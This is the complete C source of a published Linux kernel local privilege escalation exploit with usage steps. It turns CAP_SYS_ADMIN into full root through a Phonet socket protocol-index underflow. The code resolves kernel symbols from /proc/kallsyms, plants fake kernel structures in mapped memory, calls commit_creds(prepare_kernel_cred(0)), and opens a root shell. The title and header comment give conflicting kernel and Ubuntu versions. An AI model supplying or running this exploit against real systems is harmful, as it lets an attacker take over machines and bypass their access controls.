Linux Kernel < 2.6.34 (Ubuntu 11.10 x86/x64) - CAP_SYS_ADMIN Local Privilege Escalation Exploit (2)



/*

 * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
 * by Joe Sylve
 * @jtsylve on twitter
 *
 * Released: Jan 7, 2011
 *
 * Based on the bug found by Dan Rosenberg (@djrbliss)
 * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
 * 
 * Usage:
 * gcc -w caps-to-root2.c -o caps-to-root2
 * sudo setcap cap_sys_admin+ep caps-to-root2
 * ./caps-to-root2
 *
 * Kernel Version >= 2.6.34 (untested on earlier versions)
 *
 * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
 *
 * This exploit takes advantage of the same underflow as the original,
 * but takes a different approach.  Instead of underflowing into userspace
 * (which doesn't work on 64-bit systems and is a lot of work), I underflow 
 * to some static values inside of the kernel which are referenced as pointers
 * to userspace.  This method is pretty simple and seems to be reliable.
 */

#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
    int    family;
    void  *buffer1[8];
    int    (*ioctl)(void *, int, long);
    void  *buffer2[12];
};

struct phonet_protocol_skel {
    void    *ops;
    void    *prot;
    int    sock_type;    
};


#ifdef __x86_64__ 

#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0

typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);

#else //32-bit

#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

#endif


_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void * v, int i, long l)
{
    commit_creds(prepare_kernel_cred(0));
    return 0;      
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    int ret;

    char command[512];

    sprintf(command, "grep \"%s\" /proc/kallsyms", name);

    f = popen(command, "r");

    while(ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }

        if (!strcmp(name, sname)) {

            fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
            pclose(f);
            return addr;
        }
    }

    pclose(f);
    return 0;
}

int main(int argc, char * argv[])
{

    int sock, proto;
    unsigned long proto_tab, low_kern_sym, pn_proto;
    void * map;

    /* Create a socket to load the module for symbol support */
    printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
    sock = socket(PF_PHONET, SOCK_DGRAM, 0);

    if(sock < 0) {
        if(errno == EPERM)
            printf("[*] You don't have CAP_SYS_ADMIN.\n");

        else
            printf("[*] Failed to open Phonet socket.\n");

        return -1;
    }

    close(sock);

    /* Resolve kernel symbols */
    printf("[*] Resolving kernel symbols...\n");

    proto_tab = get_kernel_sym("proto_tab");
    low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
    pn_proto =  get_kernel_sym("pn_proto");
    commit_creds = (void *) get_kernel_sym("commit_creds");
    prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");

    if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
        printf("[*] Failed to resolve kernel symbols.\n");
        return -1;
    }

    if (low_kern_sym >= proto_tab) {
        printf("[*] %s is mapped higher than prototab.  Can not underflow :-(.\n", SYM_NAME);
        return -1;
    }


    /* Map it */
    printf("[*] Preparing fake structures...\n");

    const struct proto_ops_skel fake_proto_ops2 = {
            .family        = AF_PHONET,    
            .ioctl        = &getroot,
    };        

    struct phonet_protocol_skel pps = {
            .ops = (void *) &fake_proto_ops2,
            .prot = (void *) pn_proto,
            .sock_type = SOCK_DGRAM,
    };

    printf("[*] Copying Structures.\n");

    map = mmap((void *) SYM_ADDRESS, 0x1000,
            PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if(map == MAP_FAILED) {
        printf("[*] Failed to map landing area.\n");
        perror("mmap");
        return -1;
    }

    
    memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));

    // Calculate Underflow
    proto = -((proto_tab - low_kern_sym) / sizeof(void *));

    printf("[*] Underflowing with offset %d\n", proto);

    sock = socket(PF_PHONET, SOCK_DGRAM, proto);

    if(sock < 0) {
        printf("[*] Underflow failed :-(.\n");
        return -1;
    } 

    printf("[*] Elevating privlidges...\n");
    ioctl(sock, 0, NULL);


    if(getuid()) {
        printf("[*] Exploit failed to get root.\n");
        return -1;
    }

    printf("[*] This was a triumph... I'm making a note here, huge success.\n");
    execl("/bin/sh", "/bin/sh", NULL);

    close(sock);
    munmap(map, 0x1000);

    return 0;
}